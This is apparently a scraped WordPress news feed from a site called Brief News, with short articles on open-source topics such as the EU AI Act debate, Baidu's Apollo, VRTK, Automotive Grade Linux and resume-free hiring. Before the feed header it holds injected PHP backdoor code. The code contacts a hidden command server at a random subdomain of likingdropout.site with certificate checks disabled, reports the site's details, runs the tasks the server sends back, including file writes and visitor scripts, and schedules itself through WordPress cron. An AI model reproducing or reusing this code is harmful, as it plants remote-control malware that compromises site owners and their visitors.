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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); opensource – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Sep 2022 19:34:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png opensource – Brief News https://briefnews.eu 32 32 EU AI Act’s possible open-source regulation sparks Twitter debate https://briefnews.eu/eu-ai-acts-possible-open-source-regulation-sparks-twitter-debate/ https://briefnews.eu/eu-ai-acts-possible-open-source-regulation-sparks-twitter-debate/#respond Fri, 09 Sep 2022 19:34:10 +0000 https://briefnews.eu/eu-ai-acts-possible-open-source-regulation-sparks-twitter-debate/ EU

Alex Engler never expected his Brookings article about the EU’s attempt to regulate open-source AI to stir up Twitter debate. Read More

]]> https://briefnews.eu/eu-ai-acts-possible-open-source-regulation-sparks-twitter-debate/feed/ 0 Rising Thunder gets a second life as an open-source indie fighter https://briefnews.eu/rising-thunder-gets-a-second-life-as-an-open-source-indie-fighter/ https://briefnews.eu/rising-thunder-gets-a-second-life-as-an-open-source-indie-fighter/#respond Tue, 19 Dec 2017 00:56:31 +0000 http://briefnews.eu/rising-thunder-gets-a-second-life-as-an-open-source-indie-fighter/

When developer Radiant Entertainment announced that Riot Games had acquired it last year, the studio also revealed that it was shuttering its indie fighting game, Rising Thunder. But in a Reddit post today, Radiant unveiled Rising Thunder: Community Edition, a free, open-source version of the game that will be available in January 2018 for PC.

Before Radiant put the project on pause, it had released a free alpha build of Rising Thunder. The open-source version will be similar to that, though it will also include a few new features, such as local multiplayer and what the developer is calling “quality of life improvements.” The team will also roll out a server with basic matchmaking and a limited set of features. The source code for that will also be available for anyone who would like to modify it.

Rising Thunder’s defining trait was its simplified controls, which Radiant designed to make its fighter more accessible to a wider audience. The team is working on another game, but Riot hasn’t revealed any details yet.

 

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The lack of diversity in tech has been front and center this past year. Large tech companies have publicly vowed to fix the problem. But how? One answer is recognizing, acknowledging, and eliminating unconscious bias from the hiring process.

Three years ago, Cockroach Labs started the effort to create a more diverse workforce by focusing on building an inclusive environment. In order to do so, we attacked unconscious bias head-on – first by eliminating resumes during the interview process, and then by implementing exercise-based interviews across all departments. Our fundamental belief is that if you take away resumes and focus interviews on assessing the tasks associated with that job, you open up the candidate pool to those with non-traditional, more diverse, backgrounds.

Most recently, we open-sourced our interviews to create familiarity — and improve fairness — for candidates going through our hiring process. In addition, open-sourcing the interview process gives recruiting professionals the information and tools they need to replicate — and add to — our process.

Sharing best practices through open source

Doing away with resumes and mandating exercise-based interviewing takes a lot of work on the front end. Preparing and documenting exercises and working with candidates to help them understand the interview format ahead of time is not a non-trivial amount of work. It also takes time to train interviewers for a new way of assessing candidates.

Because this is all new territory for both candidates and recruiters, we aggregated and documented our process into a file repository on GitHub, a platform more typically used for software application code.

The open source interview process on GitHub includes resources for both candidates and recruiting professionals. For candidates, there are details on the interview process and timeline and a full list of exercise-based interview questions broken down by job role so they can come fully prepared to interviews. For recruiters, there are additional files that provide a deep-dive into various stages of the hiring process, including the phone screen, how to structure the interview, interview feedback and scoring, and rejecting applicants.

The power of exercise-based interviews

While most companies use hypothetical and behavioral-based questions when interviewing – especially when hiring for non-technical roles – exercise-based interviews lead to a stronger signal since they are more likely to be correlated with actual job performance.

How do they work? Rather than guess if a candidate can do the job based on their answers to behavioral questions, exercise-based interviews ask for candidates to show. For engineering positions, interviews include coding and system design questions. For non-technical roles, you can use job-based simulations in the form of case studies, individual exercises, and presentations. Since each interview focuses on different areas, collectively, the interviews are mini snapshots of the candidate’s capabilities.

The added benefit: Candidates get a clear understanding of what it would be like to work at the company and in that role on a day-to-day basis. Also, because exercise-based interviews require a high-degree of engagement, they are more collaborative and overall a better experience than traditional interviews where candidates have to sweat through a series of stress-inducing questions.

Most importantly, exercise-based interviews reduce bias and subjectivity because they are focused on providing candidates with real-world simulations where they can display their ability – not just talk through past experiences.

Remove resumes from the interview process

Eliminating resumes from the hiring process can go a long way in reducing unconscious bias. That’s because resumes contain information – like where a candidate has worked and where they went to school – that, as humans, we have mental associations and biases about. These biases, commonly categorized as “affinity bias”, “similar to me bias”, and “halo/horn bias”, can eliminate non-traditional candidates out of the gate and can influence the outcome of interviews.

Take, for example, an interviewer who has negative associations with New England universities. Whether consciously or not, they will enter interviews with candidates from New England schools expecting to be proved right — and looking for places where the candidate faltered, hobbling the candidate’s chances of being hired.

While it’s essential that the recruiter still has access to the resume, which remains the first step in the hiring process, resumes and pre-screen notes are redacted for the interview team. By doing this, interviewers are challenged to focus on the direct application of the candidate’s skills, creating a fairer process and leading to better hiring decisions.

Better outcomes for the industry

I hope your company will consider joining the open-source effort my team has begun on GitHub. The more companies that get involved in the project, the more new ideas we’ll see for addressing unconscious bias and the more exercises we’ll have in GitHub to more fairly assess skills.

We are all responsible for building an industry that is inclusive and diverse. Step one is acknowledging that we all suffer from unconscious bias. The next step is finding ways to eliminate its role in the hiring process and throughout the employee experience. By working together and sharing knowledge across companies, we can build a more inclusive working environment.

Lindsey Grenawalt is Head of People Operations at Cockroach Labs. She previously worked at Google Ventures, placing engineering and product management executives at portfolio companies, and served on the management team at Yext as the VP of People Operations, where she was responsible for growing the company from 168 to over 440 employees across the United States, the Netherlands, and the UK.

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It’s odd that the search engine company known as the “Google of China” says that its open-source autonomous driving platform Apollo is the “Android of the auto industry.” But that’s exactly what Baidu is trying to be with Apollo and it’s racking up partners worldwide (including Ford, Daimler, NVIDIA and others) to make it a reality.

At an event in Sunnyvale, California, the search company unveiled Apollo 1.5, its latest version of its autonomous driving platform. The new version supports HD maps, LiDAR, obstacle detection and deep learning technologies. All of which, like the rest of the platform, is open source and modular so developers can pick and choose what they want to use in their own systems.

But it’s not a completely open system. At some point a developer will have to contribute to the platform to access more of the data for their own needs. It seems like a fair trade. Why build up your entire stack on the backs of others without at being an active part of the community?

Baidu has big plans for Apollo. It expects it will be powerful enough for a Level 3 car on the road by 2019, and primed for Level 4 vehicle in 2021. It’s an impressive feat for a company that’s not even building cars… and also in line with Google’s own autonomous car plans, its US counterpart.

Source: Baidu

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]]> https://briefnews.eu/baidu-updates-its-open-source-autonomous-driving-platform/feed/ 0 VRTK helps devs get started in VR with open-source dev kit https://briefnews.eu/vrtk-helps-devs-get-started-in-vr-with-open-source-dev-kit/ https://briefnews.eu/vrtk-helps-devs-get-started-in-vr-with-open-source-dev-kit/#respond Sat, 30 Sep 2017 11:04:20 +0000 http://briefnews.eu/vrtk-helps-devs-get-started-in-vr-with-open-source-dev-kit/

What’s becoming clear in VR development is that with the market split across Rift, Vive and PlayStation VR, the developers of some of the most successful apps like Job Simulator, Fantastic Contraption and Raw Data work hard to make their software work well across all three headsets.

Even if it is hard to stand out from dozens of apps launching each week, making a virtual world available across Steam, the PlayStation Store and Oculus increases the chances of a developer finding success. Though large teams working with big budgets often turn to the Unreal world engine from Epic Games for building VR products, the very well-funded Unity Technologies is the engine most indie developers use in bringing their products to fruition across multiple systems. Unity is used by a majority of VR developers and its asset store makes it easy for developers to find cheap or free tools with which to build more immersive worlds.

VRTK — the Virtual Reality Toolkit — is one of those Unity-based tools that a large group of indie creators used to jumpstart their efforts in VR development. The open source toolset was created by Harvey Ball, also known as TheStoneFox, after he bought an HTC Vive last year.

“I wanted to build something for it as I was new to game dev. I’d been using Unity for about a month just as a hobby,” Ball wrote to me. “I tried to use the SteamVR Unity plugin and found it confusing, realized a lot of people found it confusing and started VRTK as a way to help people get into developing for VR.”

Ball’s crowdfunding on Patreon for VRTK stands at nearly $ 2,000 per month and the community for the effort on Slack is populated by more than 2,000 members. Here’s a list of games made with the software. Ball works on VRTK in the evenings when he can but still holds a day job as a Web developer. He says the money from Patreon isn’t his income — it’s so that “if we as a community need something that requires money then we have budget for it.” He also launched a Kickstarter project earlier this year with a very high goal for a more ambitious roll out. Though it received more than 400 backers, the project fell short of its goal.

I asked Ball to break down why he is building VRTK as an open source solution and to break down the benefits of the tools:

I wanted to make it available to as many people as possible. My belief is the more people building for VR is only better for evolving the platform. VRTK is all about getting as many people as possible working together on solutions to common problems for the common good. Also making it accessible for people new to dev but with good ideas so to remove high barriers of entry. Charging for it would just limit that for people. Plus it enables developers to build for a crazy fragmented market, using VRTK means it just works on Steam, Oculus, PSVR, etc.

The initial benefit is the VRTK abstraction layer. So if you use VRTK components for the mechanics of the game then it just works on any supported SDK. So it just works on SteamVR or Oculus or PSVR without any coding. If you build something for SteamVR you have to either write your own abstraction layer or rewrite chunks of code for other SDKs. Some popular SteamVR games already are suffering from this where they can’t be easily ported to Oculus Home. If they had been built on top of VRTK then porting is easy.

Ball said he plans to add support for Microsoft’s Windows platform as soon as he gets his hands on the controllers.

We’ve heard developers swear by VRTK in the past, but I put a call out on Twitter to find out how the toolkit has helped developers and the response was pretty strong. I’ll embed some of those tweets at the bottom of this post, but Unity developer @Mcdoogleh offered a response that summed up a lot of what I heard. The dev is working on a project based on VRTK aiming to release next year, “and without question it would’ve taken me longer to develop without VRTK.”

“It’s useful to developers for quite a lot of reasons, one of them being that as far as VR development goes, prototyping is extremely tricky. So VRTK provides…features which are useful just to play around with,” Mcdoogleh said. “It’s also end to end… So you could just use VRTK as a foundation and build up from it or update as you go along to get the latest features. Anywhere from prototyping to a release product, again, highly useful. In addition, VRTK can provide a useful point of reference to other developers, so they may not necessarily want to use VRTK, but they can use components of it as a foundation for their own code. Lastly, it’s knowing that it’s going to be supported, Harvey has been very engaged in terms of talking with developers, and has fostered a community of developers who can help each other.”

This story originally appeared on Uploadvr.com. Copyright 2017

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To open source or not to open source? If you’re in the software business, this is a question you’re going to face at one point or another. The sooner you tackle it, the better.

The open-source movement is no underground phenomenon; it’s a fully mature and highly effective method of building software systems. You’re likely running open-source software right now. Every time you use Google you’re using one of the largest and most successful open-source operating systems in the world – Linux. Today’s largest enterprises owe much of their success to the open-source movement — we’re all building on-top of, and borrowing from, each other’s work, and this has powered the era of exponential progress we’re living in.

The big concern about going open-source, of course, is a loss of intellectual property. You go to great lengths to protect your IP, and, understandably, you likely don’t want to just give it away for free. But being part of the open-source software (OSS) community is not about diminishing profits or eroding the value of your IP – it’s about collaboration, and the idea that many hands make light work. Most participants don’t contribute the one thing that makes them unique to the world; instead, they contribute elements and building blocks that others can use to drive new ideas and products forward. In our case, we contribute necessary elements that assist in the creation of great VR content – but not our core IP around mobile delivery of these experiences. In this way, we’re helping to drive innovation and the development of new VR experiences but not providing so much as a hint of our own secret sauce.

Don’t be afraid to bet on yourself

As a movement, open source is truly compelling. In many ways, it’s diametrically opposed to the “dog-eat-dog” mentality of generations past. It is instead a “virtuous circle.” Those who participate are both serving and being served by the OSS community, enabling greater levels of progress than has ever been before.

Participating in the OSS movement can push your startup’s product ambitions farther than you might have thought possible, transforming small development units into large international teams with near infinite scale. Through my own experience, I not only believe OSS is fundamental to accelerating product development, but that not participating would be irresponsible to our business. Investors, employees, partners, and customers all have demands on (and ambitions for) the businesses they choose to engage with. Being active in the OSS community lets you address many of their concerns, motivations, and objectives, whether directly or indirectly.

It’s a win-win-win-win situation

For any movement to truly gain traction, it needs to reap benefits for many. Within our company we’ve been able to attract and retain the best and brightest talent in the industry. And that isn’t just because we’re a cool team, it’s because today’s top developers and engineers want to make their mark as individuals within the community, driving their careers forward. Working in the open-source community lets them do that, and, in exchange, our company receives only their very best work, which drives the business forward. OSS attracts great coders, so this is a bet on ourselves — one that reads loud and clear that we’re looking to work with the best and brightest in the industry.

One of the most notable champions of the open source movement, Elon Musk, summed up this dynamic brilliantly as part of his announcement that Tesla’s would create an open source patent pool for the technology used to build its electric vehicles. He said, “Technology leadership is not defined by patents, which history has repeatedly shown to be small protection indeed against a determined competitor, but rather by the ability of a company to attract and motivate the world’s most talented engineers.”

Deep breath, you’re still in control here

Now before you gather your team for a rousing rendition of “Kumbaya” around the in-office, solar-powered campfire, it’s worth noting that we are still living in a competitive world. While the benefits of OSS participation are incredible, be sure you’re not giving away the farm. You will still want to perform an in-depth review prior to releasing any code to be sure your business’s core IP is not included. Ask yourselves, “Are we revealing anything about the direction of our business that we want to keep secret right now?” That said, I couldn’t recommend joining this movement enough – it can do wonders for your business and your team.

As with anything, begin with the end in mind. And if you’re really laboring over whether or not to open source, ask yourself this question: “If our business success hinges on one snippet of code, was there really enough there in the first place?”

Robert Kendal is Managing Director at Yulio Technologies.

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Automotive Grade Linux, or AGL, is a division within The Linux Foundation set on developing open-source software for cars that will help support the future of connected cars. The group is made up of more than 100 automakers, suppliers, and tech corporations. We sampled some of the iterations at this year’s CES in Las Vegas. Toyota, one of the first two OEMs to join, announced today that a new AGL-backed infotainment system will go on sale later this summer in the 2018 Toyota Camry.

The new system will mark a huge step forward for Toyota and presumably Lexus, which has fallen far behind in the infotainment department. The Camry will be the first vehicle with the new AGL infotainment, but the system’s flexibility will help provide an easy transition to other models, including those from Lexus. The big takeaway is improved connectivity and new functionality, though exact details haven’t been revealed.

Because AGL is open source, Toyota will focus most of its effort on customizing and personalizing the system for its vehicles. That said, it should give us our first taste of a system that could find its way into products from Mazda, Mercedes-Benz, Ford, and others. Because Toyota was one of the first to work on the project, it’s had a heavy influence in AGL’s development and direction. We’ll get our first taste when we drive the Camry later this year.

AGL itself is the result of hundreds of engineers from various members working to build an open-source system. Think of it like Android for smartphones: a common base that various companies adapt and customize. Info gained from the Camry will be fed back to AGL and used to improve the system. The goal is to create a de facto industry standard. Curious parties can even download their own copy of AGL for free.

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